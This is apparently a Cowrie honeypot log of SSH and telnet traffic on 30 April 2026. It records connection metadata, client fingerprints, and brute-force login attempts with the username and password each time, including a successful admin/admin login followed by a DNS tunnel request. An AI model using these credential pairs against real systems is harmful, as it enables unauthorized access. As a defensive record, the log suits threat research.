{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:52.900565Z","src_ip":"13.67.236.135","session":"e37c7a3c2ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38644,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e4602e1b730","protocol":"ssh","message":"New connection: 87.251.64.176:38644 (10.17.0.5:22) [session: 6e4602e1b730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:54.189394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:54.226474Z","src_ip":"87.251.64.176","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:54.339734Z","src_ip":"87.251.64.176","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:54.840258Z","src_ip":"87.251.64.176","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:54.993681Z","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:55.127371Z","src_ip":"87.251.64.176","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:55.427763Z","src_ip":"87.251.64.176","session":"6e4602e1b730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":42254,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb2fefe0682c","protocol":"ssh","message":"New connection: 95.240.192.149:42254 (10.17.0.5:22) [session: bb2fefe0682c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:19:06.770608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:19:07.072783Z","src_ip":"95.240.192.149","session":"bb2fefe0682c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:19:07.184754Z","src_ip":"95.240.192.149","session":"bb2fefe0682c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2014!","message":"login attempt [root/server2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:19:07.617697Z","src_ip":"95.240.192.149","session":"bb2fefe0682c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:19:08.731140Z","src_ip":"95.240.192.149","session":"bb2fefe0682c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":33404,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a02a9723e25","protocol":"ssh","message":"New connection: 95.240.192.149:33404 (10.17.0.5:22) [session: 5a02a9723e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:02.737612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:02.743039Z","src_ip":"95.240.192.149","session":"5a02a9723e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:02.858758Z","src_ip":"95.240.192.149","session":"5a02a9723e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"idc123456","message":"login attempt [admin/idc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:03.342225Z","src_ip":"95.240.192.149","session":"5a02a9723e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:04.458920Z","src_ip":"95.240.192.149","session":"5a02a9723e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":25081,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8aa66d2aece","protocol":"ssh","message":"New connection: 79.55.224.44:25081 (10.17.0.5:22) [session: d8aa66d2aece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:08.575456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:08.581052Z","src_ip":"79.55.224.44","session":"d8aa66d2aece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:08.697222Z","src_ip":"79.55.224.44","session":"d8aa66d2aece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail1","message":"login attempt [testmail/testmail1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:09.209515Z","src_ip":"79.55.224.44","session":"d8aa66d2aece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:10.330067Z","src_ip":"79.55.224.44","session":"d8aa66d2aece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":47612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6d8e5023874","protocol":"ssh","message":"New connection: 43.165.177.199:47612 (10.17.0.5:22) [session: a6d8e5023874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:33.671990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:33.676839Z","src_ip":"43.165.177.199","session":"a6d8e5023874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:33.869714Z","src_ip":"43.165.177.199","session":"a6d8e5023874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mxuser","password":"mxuser","message":"login attempt [mxuser/mxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:34.670820Z","src_ip":"43.165.177.199","session":"a6d8e5023874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:35.867308Z","src_ip":"43.165.177.199","session":"a6d8e5023874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":52858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b974cd48c30","protocol":"ssh","message":"New connection: 95.240.192.149:52858 (10.17.0.5:22) [session: 1b974cd48c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:55.362262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:55.367065Z","src_ip":"95.240.192.149","session":"1b974cd48c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:55.476444Z","src_ip":"95.240.192.149","session":"1b974cd48c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qwerty123456","message":"login attempt [guest/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:55.941169Z","src_ip":"95.240.192.149","session":"1b974cd48c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:20:57.053241Z","src_ip":"95.240.192.149","session":"1b974cd48c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":33788,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6abff61119","protocol":"ssh","message":"New connection: 95.240.192.149:33788 (10.17.0.5:22) [session: 2a6abff61119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:21:53.733047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:21:53.738035Z","src_ip":"95.240.192.149","session":"2a6abff61119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:21:53.848821Z","src_ip":"95.240.192.149","session":"2a6abff61119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"12345678","message":"login attempt [ftpuser2/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:21:54.317400Z","src_ip":"95.240.192.149","session":"2a6abff61119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:21:55.433286Z","src_ip":"95.240.192.149","session":"2a6abff61119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":47294,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf7605f2e9d","protocol":"ssh","message":"New connection: 43.165.177.199:47294 (10.17.0.5:22) [session: daf7605f2e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:29.430266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:29.434582Z","src_ip":"43.165.177.199","session":"daf7605f2e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:29.607000Z","src_ip":"43.165.177.199","session":"daf7605f2e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":".","message":"login attempt [ubuntu/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:30.333388Z","src_ip":"43.165.177.199","session":"daf7605f2e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.62.82.103","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db30a3efdaa","protocol":"telnet","message":"New connection: 167.62.82.103:54712 (10.17.0.5:23) [session: 3db30a3efdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:30.753113Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:22:31.508939Z","src_ip":"43.165.177.199","session":"daf7605f2e9d","protocol":"ssh"}
